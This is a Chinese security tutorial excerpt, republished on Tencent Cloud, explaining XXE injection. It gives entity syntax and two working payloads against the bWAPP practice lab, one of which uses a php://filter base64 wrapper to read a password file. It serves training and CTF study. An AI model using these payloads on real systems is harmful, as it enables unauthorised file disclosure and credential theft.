XXE(Xml External Entity Injection)XML外部实体注入。XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取命令执行内网端口扫描攻击内网网站发起Dos攻击等危害。 XXE漏洞触发点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

基本语法

代码语言:javascript
复制
<!-- 外部实体 -->
<?xml version="1.0" ?>
<!DOCTYPE XXE [
  <!ENTITY name "Feng" >
]>
<Name>&name;</Name>


<!-- 外部实体 -->
<?xml version="1.0" ?>
<!DOCTYPE XXE [
  <!ENTITY abc SYSTEM "outside.txt" >
]>
<user>&abc;</user>

Payload

代码语言:javascript
复制
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY bWAPP SYSTEM "http://localhost/bWAPP/robots.txt">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>

# Base64
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY bWAPP SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost/bWAPP/passwords/heroes.xml">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>

XXE 绕过

整理众多 CTF 大赛中的 XXE 题,这里汇总了一些常用的绕过姿势(若有错误、不全,欢迎大佬评论区指正,小弟感激不尽


本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2019 年 03 月,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 信息收集
    • 基本探测
      • 设备
      • 网站
      • Access注入
  • 测试网站: demo.testfire.net
  • 参数
  • Exp
  • 参数
  • Exp
  • Shift+/显示快捷帮助
  • 魔术引号
  • 安全函数,与魔术引号具有相同功能
  • 绕过
    • 盲注
      • 基于时间延迟注入
    • 手工注入
      • 注入类型
      • Payload
      • 注入流程
    • 自动注入
      • 常用参数
      • GET注入
      • POST注入
      • Cookie注入
      • 数据获取
      • 提权操作
      • 代理
    • 其它
      • 万能密码
      • 搜索可能存在注入的页面
      • 提交方式
      • 参数类型
      • Sqli-Labs搭建
      • SQLMap安装
      • SQLMap常见参数
      • MD5加密
  • XSS
    • XSS类型
      • 手工XSS
        • 绕过
        • Payload
      • 自动XSS
        • BeEF简介
        • BeEF基础
        • 配合MSFGetShell
    • XXE
      • 基本语法
        • Payload
          • XXE 绕过
          相关产品与服务
          数据库
          云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档